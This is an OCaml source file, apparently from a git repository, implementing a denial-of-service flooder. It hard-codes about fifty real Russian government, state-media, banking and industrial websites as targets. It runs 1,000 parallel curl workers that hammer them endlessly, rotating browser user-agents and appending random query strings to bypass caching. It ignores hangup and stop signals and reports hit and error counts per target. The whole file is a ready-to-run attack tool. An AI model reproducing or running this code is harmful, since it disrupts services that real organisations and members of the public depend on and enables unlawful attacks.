use libev
[ddos.git] / ddos.ml
blobe97795bd7ad819c6f2f7cc4e6d82b6ad97c24d4b
1 open Printf
3 let targets =
4 [|
5 "https://lenta.ru/";
6 "https://ria.ru/";
7 "https://ria.ru/lenta/";
8 "https://www.rbc.ru/";
9 "https://www.rt.com/";
10 "http://kremlin.ru/";
11 "http://en.kremlin.ru/";
12 "https://smotrim.ru/";
13 "https://tass.ru/";
14 "https://tvzvezda.ru/";
15 "https://vsoloviev.ru/";
16 "https://www.1tv.ru/";
17 "https://www.vesti.ru/";
18 "https://online.sberbank.ru/";
19 "https://sberbank.ru/";
20 "https://zakupki.gov.ru/";
21 (* "https://www.gosuslugi.ru/"; *)
22 "https://er.ru/";
23 "https://www.rzd.ru/";
24 "https://rzdlog.ru/";
25 "https://vgtrk.ru/";
26 "https://www.interfax.ru/";
27 "https://www.mos.ru/uslugi/";
28 "http://government.ru/";
29 "https://mil.ru/";
30 "https://www.nalog.gov.ru/";
31 "https://customs.gov.ru/";
32 "https://pfr.gov.ru/";
33 "https://rkn.gov.ru/";
34 "https://www.gazprombank.ru/";
35 "https://www.vtb.ru/";
36 "https://www.gazprom.ru/";
37 "https://lukoil.ru";
38 "https://magnit.ru/";
39 "https://www.nornickel.com/";
40 "https://www.surgutneftegas.ru/";
41 "https://www.tatneft.ru/";
42 "https://www.evraz.com/ru/";
43 "https://nlmk.com/";
44 "https://www.sibur.ru/";
45 "https://www.severstal.com/";
46 "https://www.metalloinvest.com/";
47 "https://nangs.org/";
48 "https://rmk-group.ru/ru/";
49 "https://www.tmk-group.ru/";
50 (* "https://ya.ru/"; *)
51 "https://www.polymetalinternational.com/ru/";
52 "https://www.uralkali.com/ru/";
53 "https://www.eurosib.ru/";
54 "https://ugmk.ua/";
55 "https://omk.ru/";
58 let agents =
60 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36";
61 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36";
62 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0";
63 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36";
64 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36";
65 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36";
66 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36";
67 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15";
68 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15";
69 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0";
72 let par = 1000
74 type t = {
75 ok : int;
76 errors : int;
79 let random a = a.(Random.int (Array.length a))
81 let setup h =
82 let open Curl in
83 set_useragent h (random agents);
84 set_nosignal h true;
85 set_dnscachetimeout h 120;
86 set_connecttimeoutms h 3000;
87 set_timeoutms h 3000;
88 set_followlocation h true;
89 set_sslverifypeer h false; (* ssl check must be turned off when using http_proxy, to permit https page caching*)
90 set_sslverifyhost h SSLVERIFYHOST_NONE;
91 (* set_sslcipherlist h "DEFAULT@SECLEVEL=1"; *)
92 (* set_maxredirs h 1; *)
93 set_ipresolve h IPRESOLVE_V4;
94 set_encoding h CURL_ENCODING_ANY;
95 (* set_freshconnect h true; (* more connections *) *)
96 (* set_forbidreuse h true; *)
97 set_protocols h [CURLPROTO_HTTP; CURLPROTO_HTTPS;];
98 set_redirprotocols h [CURLPROTO_HTTP; CURLPROTO_HTTPS;];
99 (* set_maxrecvspeedlarge h (Int64.of_int (kBps*1024)); *)
102 let () = Printexc.register_printer (function Curl.CurlException (code,n,s) -> Some (sprintf "%d %s %s" n s (Curl.strerror code)) | _ -> None)
104 let main () =
105 Random.self_init ();
106 let stat = Hashtbl.create 10 in
107 targets |> Array.iter (fun s -> Hashtbl.add stat s { ok = 0; errors = 0 });
108 let worker h =
109 while%lwt true do
110 let url = random targets in
111 let open Curl in
112 reset h;
113 setup h;
114 set_url h (if Random.int 3 = 0 then url else sprintf "%s?%d" url (Random.int 2000));
115 set_writefunction h String.length;
116 try%lwt
117 let%lwt r = Curl_lwt.perform h in
118 if r <> CURLE_OK then failwith @@ sprintf "curl error %s" (Curl.strerror r);
119 Hashtbl.replace stat url
120 (let t = Hashtbl.find stat url in
121 { t with ok = t.ok + 1 }
123 Lwt.return_unit
124 with _exn ->
125 (* print_endline @@ sprintf "FAILED: %s : %s" (Curl.get_effectiveurl h) (Printexc.to_string exn); *)
126 Hashtbl.replace stat url
127 (let t = Hashtbl.find stat url in
128 { t with errors = t.errors + 1 }
130 Lwt.return_unit
131 done
133 let show_stats () =
134 while%lwt true do
135 let%lwt () = Lwt_unix.sleep 1. in
136 print_endline @@ sprintf "%64s %10s %10s" "url" "ok" "errors";
137 targets |> Array.iter (fun url ->
138 let { ok; errors } = Hashtbl.find stat url in
139 print_endline @@ sprintf "%64s %10d %10d" url ok errors
141 Lwt.return_unit
142 done
144 Lwt_engine.set (new Lwt_engine.libev ());
145 List.iter (fun n -> Sys.set_signal n Sys.Signal_ignore) [Sys.sigtstp; Sys.sigttou; Sys.sigttin; Sys.sighup; Sys.sigpipe];
146 let (_:int list) = Unix.sigprocmask SIG_BLOCK [Sys.sigtstp; Sys.sigttou; Sys.sigttin; Sys.sighup; Sys.sigpipe] in
147 Lwt_main.run @@ begin
148 let workers = List.init par (fun _ -> Curl.init ()) |> List.map worker in
149 Lwt.join (show_stats () :: workers)
150 end;
151 print_endline "exit"
153 let () =
155 main ()
156 with exn ->
157 print_endline @@ sprintf "fatal exn %s" (Printexc.to_string exn)